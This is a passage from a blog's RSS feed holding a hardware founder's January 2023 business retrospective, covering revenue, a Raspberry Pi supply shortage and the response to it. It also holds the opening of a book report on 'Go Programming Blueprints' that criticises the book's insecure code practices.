&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot is facing a supply shortage that will drastically limit its sales for 2023.&lt;/li>
&lt;li>Running leaner might not be such a bad thing.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot is facing a supply shortage that will drastically limit its sales for 2023.&lt;/li>
&lt;li>Running leaner might not be such a bad thing.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="fulfill-the-first-order-from-our-3pl-vendor">Fulfill the first order from our 3PL vendor&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Our 3PL vendor shipped three orders.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Our 3PL vendor is now up and running. They&amp;rsquo;re fulfilling orders for one of our low-volume products as a trial run. Things have been fairly smooth so far, and we&amp;rsquo;re on track to transition the remainder of the products over in February.&lt;/p>
&lt;h3 id="reach-code-complete-on-the-next-tinypilot-pro-release">Reach code complete on the next TinyPilot Pro release&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We reached code complete in the first week of January.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>We were close to hitting this deadline, but there was one final bug that took longer than I expected, and we had fewer dev hours due to the holidays. As of this writing, we&amp;rsquo;re at code complete and planning to publish the release next week.&lt;/p>
&lt;h3 id="prepare-for-a-january-launch-of-tinypilot-voyager-2a">Prepare for a January launch of TinyPilot Voyager 2a&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We&amp;rsquo;re on track for a January release.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>We&amp;rsquo;re on track for this so far. It&amp;rsquo;s always hard with a new release to anticipate all the changes that will be necessary, but we&amp;rsquo;ve completed almost all of the predictable tasks, so we have spare capacity to fix unexpected issues.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>November 2022&lt;/th>
 &lt;th>December 2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>9,512&lt;/td>
 &lt;td>7,308&lt;/td>
 &lt;td>&lt;font color="red">-2,204 (-23%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>20,387&lt;/td>
 &lt;td>15,549&lt;/td>
 &lt;td>&lt;font color="red">-4,838 (-24%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$107,223.10&lt;/td>
 &lt;td>$66,092.24&lt;/td>
 &lt;td>&lt;font color="red">-$41,130.86 (-38%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$4,402.50&lt;/td>
 &lt;td>$2,798.97&lt;/td>
 &lt;td>&lt;font color="red">-$1,603.53 (-36%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$111,916.30&lt;/td>
 &lt;td>$69,181.91&lt;/td>
 &lt;td>&lt;font color="red">-$42,734.39 (-38%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$7,407.30&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$4,806.26&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$12,213.56 (-inf%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>December saw a large dropoff for TinyPilot across the board. Part of the downturn is seasonal, as businesses seem less interested in purchasing new hardware at the end of the year. The other part was that I intentionally &lt;a href="#adapting-to-the-shortage">reduced TinyPilot&amp;rsquo;s sales volume&lt;/a> in response to a supply shortage I learned about mid-month.&lt;/p>
&lt;h2 id="the-pi-supply">The Pi supply&lt;/h2>
&lt;p>TinyPilot runs on top of the Raspberry Pi 4B, a small, inexpensive single-board computer. There&amp;rsquo;s been such a massive shortage of Raspberry Pis for the past year that it&amp;rsquo;s been near impossible for consumers to buy them.&lt;/p>
&lt;p>TinyPilot has lucked out in that we placed a year of orders in early 2021 directly from the manufacturer, and they&amp;rsquo;ve consistently filled our orders every month.&lt;/p>
&lt;p>As our sales have grown, I&amp;rsquo;ve been nervous about whether Raspberry Pi would allocate more units to TinyPilot. In mid-December, I saw some good news from Raspberry Pi&amp;rsquo;s CEO, Eben Upton. In fact, the blog post was literally titled, &lt;a href="https://www.raspberrypi.com/news/supply-chain-update-its-good-news/">&amp;ldquo;it&amp;rsquo;s good news!&amp;rdquo;&lt;/a>&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/01/good-news.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/01/good-news_hu_de696ec3197a290a.png 300w, https://mtlynch.io/retrospectives/2023/01/good-news_hu_c6a8f6de3bef278a.png 600w, https://mtlynch.io/retrospectives/2023/01/good-news.png 709w'
 src="https://mtlynch.io/retrospectives/2023/01/good-news.png" alt="&amp;#39;Supply chain update - it&amp;#39;s good news!&amp;#39; by Eben Upton" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The most important part of the blog post was this sentence:&lt;/p>
&lt;blockquote>
&lt;p>As a result, we can say with confidence that, after a lean first quarter, we expect supply to recover to pre-pandemic levels in the second quarter of 2023, and to be unlimited in the second half of the year.&lt;/p>&lt;/blockquote>
&lt;p>That sounded great! Even in mid-2020, I was able to buy 50+ Raspberry Pis at a time from local retailers, so if we were going back to that level, TinyPilot would be in a wonderful position.&lt;/p>
&lt;p>Deeper into the post, there was this ominous sentence:&lt;/p>
&lt;blockquote>
&lt;p>Although we are sitting on substantial order backlogs from commercial customers, we expect to gradually increase the fraction of our output which we dedicate to single-unit sales next year until we’re back in our pre-pandemic situation.&lt;/p>&lt;/blockquote>
&lt;p>Uh oh. I&amp;rsquo;m a commercial customer. If they&amp;rsquo;re deprioritizing commercial customers, that means less for TinyPilot. Still, I figured we&amp;rsquo;d get a smaller slice of a larger pie.&lt;/p>
&lt;h2 id="losing-450k-in-a-single-email">Losing $450k in a single email&lt;/h2>
&lt;p>I had emailed TinyPilot&amp;rsquo;s sales rep at Raspberry Pi in mid-November asking to increase our allocation for the following year. She told me that they&amp;rsquo;d be deciding 2023 allocation in mid-December, so she&amp;rsquo;d let me know whether they&amp;rsquo;d take my new orders then.&lt;/p>
&lt;p>Finally, on December 20th, I received this email:&lt;/p>
&lt;blockquote>
&lt;p>Hi Michael&lt;/p>
&lt;p>apologies for the delay, the Best we can offer at the moment is [&amp;hellip;] for delivery 28.08.2023 in the PI4/2GB&lt;/p>&lt;/blockquote>
&lt;p>I re-read it several times, hoping desperately to identify some date format for &amp;ldquo;28.08.2023&amp;rdquo; that didn&amp;rsquo;t mean I&amp;rsquo;d be waiting eight months for my next Raspberry Pi order. Unfortunately, that&amp;rsquo;s exactly what it meant.&lt;/p>
&lt;p>We still have standing Raspberry Pi orders through May 2023, so this isn&amp;rsquo;t a death blow, but we&amp;rsquo;ll have to survive the final three months with no Pi shipments at all.&lt;/p>
&lt;p>For the past few months, TinyPilot&amp;rsquo;s been selling an average of 220 Voyager 2s per month. I expected to grow sales by about 35% over the next eight months, which would mean selling about 250 Voyager 2s per month.&lt;/p>
&lt;p>Given the new supply constraint, TinyPilot is now limited to selling about 140 Voyager 2s per month if we want to stretch our supply out to September. What could have been about $875k in revenue is now limited to $425k.&lt;/p>
&lt;p>In other words, that email was letting me know I&amp;rsquo;d be losing $450k in revenue over the next eight months.&lt;/p>
&lt;p>Okay, I&amp;rsquo;m not really &amp;ldquo;losing&amp;rdquo; $450k if that money is dependent on an unlimited supply of low-cost Raspberry Pis. A monkey could get rich buying Raspberry Pis at the $45 manufacturer price. There&amp;rsquo;s a huge unmet demand for Raspberry Pis, so scalpers sell them on eBay and Amazon for $125 apiece. Still, I was hoping TinyPilot would get enough allocation to keep up with its growth.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/01/pi-amazon.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/01/pi-amazon_hu_c7f2c2689bb96d35.png 300w, https://mtlynch.io/retrospectives/2023/01/pi-amazon_hu_9443f7095f692017.png 600w, https://mtlynch.io/retrospectives/2023/01/pi-amazon_hu_197a4b5cedaf8034.png 800w, https://mtlynch.io/retrospectives/2023/01/pi-amazon.png 1116w'
 src="https://mtlynch.io/retrospectives/2023/01/pi-amazon.png" alt="Raspberry Pi 4B listed on Amazon for $125.97" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Scalpers sell Raspberry Pis on Amazon and eBay for 3x the manufacturer&amp;rsquo;s price.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It&amp;rsquo;s still possible for TinyPilot to receive more allocation before August, but it&amp;rsquo;s also possible for the supply chain to worsen. China has been seeing increasing COVID rates recently, and shutdowns there would impact Raspberry Pi production.&lt;/p>
&lt;h2 id="can-tinypilot-survive-on-140-sales-per-month">Can TinyPilot survive on 140 sales per month?&lt;/h2>
&lt;p>To get a sense of what 140 sales per month looks financially, I looked back to June 2022. TinyPilot sold 151 Voyager 2 devices for $68k in revenue. That month, we had a net loss of $3.6k. That doesn&amp;rsquo;t sound promising.&lt;/p>
&lt;p>Looking closer at the books for that month, I saw several significant expenses that won&amp;rsquo;t recur in 2023:&lt;/p>
&lt;ul>
&lt;li>$10k - Hardware engineering&lt;/li>
&lt;li>$8.2k - Late invoices for hardware purchased in 2021&lt;/li>
&lt;li>$5k - Three-month digital marketing contract&lt;/li>
&lt;/ul>
&lt;p>The only repeating expense will be hardware engineering, but I expect that to be in the $2-4k/month range, as the work will be limited to manufacturing support rather than designing circuits.&lt;/p>
&lt;p>If we had a repeat of April 2022&amp;rsquo;s sales numbers in 2023, I&amp;rsquo;d expect TinyPilot to have a profit of ~$15k (-$3.6k + $10k + $8.2k + $5k - $4k = $15.6k).&lt;/p>
&lt;p>A profit of $15k/month is still good! If we can pull off $15k/month for most of the year, I&amp;rsquo;ll be quite happy.&lt;/p>
&lt;h2 id="adapting-to-the-shortage">Adapting to the shortage&lt;/h2>
&lt;p>My goal for January is to sell between 150 and 180 TinyPilot devices. I&amp;rsquo;m aiming for higher than the 140/month average because there&amp;rsquo;s still a possibility that we&amp;rsquo;ll receive more allocation earlier than I expect.&lt;/p>
&lt;p>To reduce sales from 220/month to 150/month, I made the following changes:&lt;/p>
&lt;ul>
&lt;li>Cut ad spending by 80%&lt;/li>
&lt;li>Increased pricing on the TinyPilot Voyager 2 PoE by $60&lt;/li>
&lt;li>Raised prices on Amazon by 20%&lt;/li>
&lt;/ul>
&lt;p>So far, we seem to be on track. The ratio of customers choosing the PoE version hasn&amp;rsquo;t changed, which suggests that I previously priced it too low.&lt;/p>
&lt;p>Amazon is penalizing me for having lower prices on the TinyPilot website by hiding the buy button on our Amazon listings:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/01/amazon-buy-button.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/01/amazon-buy-button_hu_eee7bafd3c7ee33.png 300w, https://mtlynch.io/retrospectives/2023/01/amazon-buy-button_hu_6c1a21c1f575c1fc.png 600w, https://mtlynch.io/retrospectives/2023/01/amazon-buy-button_hu_e659e6e9a4d66e.png 800w, https://mtlynch.io/retrospectives/2023/01/amazon-buy-button.png 1043w'
 src="https://mtlynch.io/retrospectives/2023/01/amazon-buy-button.png" alt="Screenshot of Amazon listing for TinyPilot Voyager 2 with buy button hidden" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Amazon has hidden the buy button from my TinyPilot listings to punish me for offering lower prices on TinyPilot&amp;rsquo;s website.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It&amp;rsquo;s still possible for customers to buy through Amazon, but they have to click the more subtle &amp;ldquo;See All Buying Options&amp;rdquo; button. And customers still purchase that way, despite the higher price. Not as many as before, but not zero either.&lt;/p>
&lt;h2 id="upsides-to-running-lean">Upsides to running lean&lt;/h2>
&lt;p>When I realized TinyPilot would be limited to 140 devices per month, I felt discouraged.&lt;/p>
&lt;p>I&amp;rsquo;d worked so hard to scale up the business over the past two years. Now, it sounded like I&amp;rsquo;d not only be unwinding the last six months of progress but I&amp;rsquo;d be frozen there for eight months.&lt;/p>
&lt;p>As I thought more about it, I realized that there were several upsides to the 140/month cap. Scaling constantly is hard! As TinyPilot&amp;rsquo;s founder, I spend most of my time &lt;a href="https://mtlynch.io/retrospectives/2022/02/#how-can-i-manage-tinypilot-with-only-20-hours-per-week">coordinating changes&lt;/a>. The faster we scale, the faster our processes change. Redefining processes and filling in gaps during transitions is stressful and not particularly fun. I&amp;rsquo;d much rather be in the position of optimizing the pain points of a working system rather than scrambling to relieve new bottlenecks.&lt;/p>
&lt;p>So why didn&amp;rsquo;t I just do that earlier? I control how many devices TinyPilot sells, so I could have scaled more slowly.&lt;/p>
&lt;p>I have too much fear of leaving money on the table.&lt;/p>
&lt;p>If I sold only 150 devices in a month where there was demand for 200, then I was basically forfeiting $10-15k in profit. TinyPilot doesn&amp;rsquo;t have a ton of profit to spare, so I worried that taking it slow would be financially unsustainable. If the company failed, I&amp;rsquo;d blame myself for not capitalizing on the demand and earning the profit that was available.&lt;/p>
&lt;p>With the Raspberry Pi shortage, I&amp;rsquo;m stuck scaling slowly, but there&amp;rsquo;s relief in it not being my choice. I can&amp;rsquo;t make more Raspberry Pis appear, so I&amp;rsquo;m just going to make lemonade out of lemons.&lt;/p>
&lt;p>The other nice upside to running lean is that I have to put up with less bullshit. A month ago, Amazon taking away the buy button would have been a big deal. I&amp;rsquo;d have to bend to their demands to get it back. But now, I know I can sell 140 devices/month without Amazon, so I can ignore their petty games.&lt;/p>
&lt;p>Similarly, when large customers send me pushy emails demanding discounts or unreasonable terms, I can stand firm. I tell them that there&amp;rsquo;s currently a supply shortage, so I&amp;rsquo;m not open to negotiating beyond what I&amp;rsquo;ve offered.&lt;/p>
&lt;h2 id="side-project-screenjournal">Side project: ScreenJournal&lt;/h2>
&lt;p>&lt;a href="https://thescreenjournal.com">ScreenJournal&lt;/a> is a hobby project I&amp;rsquo;ve been working on for sharing movie recommendations with friends. It&amp;rsquo;s like Goodreads but for couch potatoes.&lt;/p>
&lt;p>I didn&amp;rsquo;t have much time to work on it over the holidays, but I still made some progress by adding multi-user support. Previously, only a hardcoded admin user could log in, but in December, I added support for user signups and invite codes.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 751px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/01/sj-invites.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 751px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/01/sj-invites_hu_a0dda1a0da6e1163.png 300w, https://mtlynch.io/retrospectives/2023/01/sj-invites_hu_6a693bd33010911d.png 600w, https://mtlynch.io/retrospectives/2023/01/sj-invites.png 749w'
 src="https://mtlynch.io/retrospectives/2023/01/sj-invites.png" alt="Screenshot of invite screen on ScreenJournal" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>ScreenJournal now supports signups and invite codes.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I also got my first beta tester! My fiancé used ScreenJournal for almost a full three minutes. It was a short test, but it was still useful to observe what she expected the app to do and where she got stuck.&lt;/p>
&lt;h2 id="new-discovery-kagi">New discovery: Kagi&lt;/h2>
&lt;p>Over the past few months, I&amp;rsquo;ve seen a lot of chatter on Hacker News about &lt;a href="https://kagi.com/">Kagi&lt;/a>, an ad-free, privacy-friendly search engine. I&amp;rsquo;ve tried Google alternatives in the past, but I always find the quality too low to switch away.&lt;/p>
&lt;p>I tried Kagi for a weekend, and I was impressed enough after two days that I signed up as a paying customer. The result quality is on par with Google, which is an astounding feat considering it&amp;rsquo;s a bootstrapped company with a team of &lt;a href="https://blog.kagi.com/status-update-first-three-months">under 20 people&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/01/kagi.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/01/kagi_hu_8094ef6af65fedd7.png 300w, https://mtlynch.io/retrospectives/2023/01/kagi_hu_9a93159e1c5fbe97.png 600w, https://mtlynch.io/retrospectives/2023/01/kagi_hu_ea061848e26ec0e2.png 800w, https://mtlynch.io/retrospectives/2023/01/kagi.png 818w'
 src="https://mtlynch.io/retrospectives/2023/01/kagi.png" alt="Screenshot of search results from Kagi" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Kagi search results for &amp;quot;raspberry pi shortage&amp;quot;.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Kagi lets you see Google results if you prefix your query with &lt;code>!g&lt;/code>, but in my two weeks of using it, I&amp;rsquo;ve probably only done that in 5% of my searches.&lt;/p>
&lt;p>An ad-free search engine that&amp;rsquo;s as good as Google 95% of the time would be enough for me to switch, but Kagi also has cool power features that let you personalize your results.&lt;/p>
&lt;p>For example, in the search results for &lt;code>raspberry pi shortage&lt;/code>, Kagi&amp;rsquo;s sixth result seems to be a site that either uses AI to generate content or hires writers who have no idea what they&amp;rsquo;re talking about. Google ranks the same article in the seventh slot, but the difference is that Kagi lets me block that site from future results.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/01/dumb-recommendations.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/01/dumb-recommendations_hu_a199e03cd36af6d5.png 300w, https://mtlynch.io/retrospectives/2023/01/dumb-recommendations_hu_57ae1c6866c715ab.png 600w, https://mtlynch.io/retrospectives/2023/01/dumb-recommendations_hu_9c7e8c6675bc9bcf.png 800w, https://mtlynch.io/retrospectives/2023/01/dumb-recommendations.png 814w'
 src="https://mtlynch.io/retrospectives/2023/01/dumb-recommendations.png" alt="Screenshot of article by Make Use Of with bad recommendations" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 







&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/01/rank-adjust.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/01/rank-adjust_hu_f871159f61f143d7.png 300w, https://mtlynch.io/retrospectives/2023/01/rank-adjust.png 374w'
 src="https://mtlynch.io/retrospectives/2023/01/rank-adjust.png" alt="Screenshot of Kagi interface with Make Use Of domain blocked" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>One of my search results was Make Use Of, which churns out low-quality, factually incorrect articles. Kagi lets me block that domain from future search results.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>I&amp;rsquo;ve only scratched the surface of Kagi&amp;rsquo;s power features, but I&amp;rsquo;m happy to cut another Google dependency from my life.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Started shipping orders through our 3PL vendor.&lt;/li>
&lt;li>Transitioned all remote contractors from TopTracker and Deel to Toggl and Pilot.
&lt;ul>
&lt;li>TopTracker is fine, but it&amp;rsquo;s free, and you get what you pay for.&lt;/li>
&lt;li>Deel was a poor experience&lt;/li>
&lt;li>Pilot is not spectacular, but it&amp;rsquo;s better.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Mapped out and delegated tasks needed to release Voyager 2a in January.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>There&amp;rsquo;s a silver lining to the supply shortage.&lt;/li>
&lt;li>Less need for growth means you have to put up with less bullshit.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Ship the first Voyager 2a device.&lt;/li>
&lt;li>Prepare to transition fulfillment to our 3PL vendor in February.&lt;/li>
&lt;li>Write my fifth &lt;a href="https://mtlynch.io/tags/annual-review/">annual retrospective&lt;/a>.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Go Programming Blueprints by Mat Ryer</title><link>https://mtlynch.io/book-reports/go-programming-blueprints/</link><pubDate>Mon, 02 Jan 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/go-programming-blueprints/</guid><description>&lt;p>I&amp;rsquo;m a fan of &lt;a href="https://twitter.com/matryer">Mat Ryer&lt;/a>&amp;rsquo;s work, and his blog posts have had a significant impact on the way I program in Go. I found the book hit or miss. Some chapters were fascinating and taught me valuable Go lessons, while others felt boring and got too bogged down in the minutiae of third-party libraries. Overall, I&amp;rsquo;d still recommend it to anyone who considers themselves a beginner or intermediate Go programmer.&lt;/p></description><content:encoded>&lt;p>I&amp;rsquo;m a fan of &lt;a href="https://twitter.com/matryer">Mat Ryer&lt;/a>&amp;rsquo;s work, and his blog posts have had a significant impact on the way I program in Go. I found the book hit or miss. Some chapters were fascinating and taught me valuable Go lessons, while others felt boring and got too bogged down in the minutiae of third-party libraries. Overall, I&amp;rsquo;d still recommend it to anyone who considers themselves a beginner or intermediate Go programmer.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>The variety of example apps did a good job of demonstrating features of Go in realistic scenarios.&lt;/li>
&lt;li>Features wonderfully elegant Go code that taught me several new idiomatic language patterns.&lt;/li>
&lt;li>Uses the Go standard library in interesting ways.&lt;/li>
&lt;li>Finally made HTTP contexts click for me when I&amp;rsquo;d never understood them in the past.&lt;/li>
&lt;li>Available in DRM-free formats.&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>Most of the examples focus on highly scalable applications rather than single-server Go applications that I typically write.&lt;/li>
&lt;li>The book felt overly dependent on heavy Google libraries (e.g., Google Maps, OAuth, gRPC, AppEngine).
&lt;ul>
&lt;li>Many of the examples went deeply into the minutiae of a particular library rather than the Go-relevant parts of the solution.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Recommends several horribly insecure software practices:
&lt;ul>
&lt;li>Advises developers to &lt;a href="https://github.com/matryer/goblueprints/issues/78">use &lt;code>0777&lt;/code> as the default bitmask&lt;/a> when they don&amp;rsquo;t know what permissions to assign.&lt;/li>
&lt;li>Fails to protect against directory traversal, leading to an arbitrary write vulnerability in an example application that can &lt;a href="https://github.com/matryer/goblueprints/issues/79">gain remote code execution&lt;/a>.&lt;/li>
&lt;li>Fails to protect against trivial &lt;a href="https://github.com/matryer/goblueprints/issues/80">denial of service attacks on user uploads&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Poor editing in the prose and error checking in the code.
&lt;ul>
&lt;li>There were a high number of careless grammar and code mistakes.&lt;/li>
&lt;li>Users have &lt;a href="https://github.com/matryer/goblueprints/pulls?q=is%3Aopen+is%3Apr">submitted fixes&lt;/a>, but they&amp;rsquo;ve been ignored for years.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Complicates examples with jQuery in places where vanilla JavaScript would work just as well or better.&lt;/li>
&lt;li>The bash script examples felt sloppy.&lt;/li>
&lt;li>Code quality was inconsistent throughout the book.
&lt;ul>
&lt;li>Some examples are elegant and intuitive, while others feel like a first draft.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>There are two independent GitHub repos: one &lt;a href="https://github.com/matryer/goblueprints">from the author&lt;/a> and one &lt;a href="https://github.com/PacktPublishing/Go-Programming-Blueprints">from the publisher&lt;/a>.
&lt;ul>
&lt;li>&lt;a href="https://github.com/matryer/goblueprints">The author&amp;rsquo;s repo&lt;/a> seems to be the correct one.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>There are instructions for running the examples on Windows, but they feel like an untested afterthought.&lt;/li>
&lt;li>Some of the examples no longer compile due to third-party dependencies that have disappeared.&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;h3 id="go-language-and-standard-library-tips">Go language and standard library tips&lt;/h3>
&lt;h4 id="signal-channels">&lt;a href="https://medium.com/@matryer/golang-advent-calendar-day-two-starting-and-stopping-things-with-a-signal-channel-f5048161018">Signal channels&lt;/a>&lt;/h4>
&lt;ul>
&lt;li>Signal channels are an idiomatic way of implementing thread-safe events in Go.&lt;/li>
&lt;li>Signal channels are just a &lt;code>chan&lt;/code> of type &lt;code>struct{}&lt;/code>
&lt;ul>
&lt;li>Signal channels don&amp;rsquo;t pass any data — they just signal that an event has occurred.&lt;/li>
&lt;li>The &lt;a href="https://github.com/matryer/goblueprints/blob/aae50b4b30fa6dfd73e3c411b3bfe1972294be61/chapter6/twittervotes/main.go">Twitter votes app&lt;/a> is a good example of using signal channels to:
&lt;ol>
&lt;li>Allow clients to interrupt the server.&lt;/li>
&lt;li>Indicate when the background process has completed its work.&lt;/li>
&lt;/ol>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h4 id="timeticker">&lt;a href="https://pkg.go.dev/time#Ticker">&lt;code>time.Ticker&lt;/code>&lt;/a>&lt;/h4>
&lt;p>I&amp;rsquo;d never seen the &lt;code>time.Ticker&lt;/code> type before, and I had accidentally reimplemented &lt;a href="https://github.com/mtlynch/picoshare/pull/186/files">my own version&lt;/a>. It&amp;rsquo;s a simple way of executing code at timed intervals:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">range&lt;/span> time.&lt;span style="color:#447fcf">NewTicker&lt;/span>(&lt;span style="color:#3677a9">5&lt;/span> * time.Minute).C {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Execute this code every five minutes.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I use &lt;code>time.Ticker&lt;/code> in &lt;a href="https://github.com/mtlynch/picoshare">PicoShare&lt;/a> to schedule &lt;a href="https://github.com/mtlynch/picoshare/blob/3c10b89208912930d820cdfbd983ad99e8f9224b/garbagecollect/schedule.go#L22L27">periodic database maintenance&lt;/a>.&lt;/p>
&lt;h4 id="flagsduration-is-impressively-flexible">&lt;a href="https://pkg.go.dev/flag#Duration">&lt;code>flags.Duration&lt;/code>&lt;/a> is impressively flexible&lt;/h4>
&lt;ul>
&lt;li>&lt;code>flags.Duration&lt;/code> natively supports different time units like &lt;code>55s&lt;/code> or &lt;code>10m&lt;/code>.
&lt;ul>
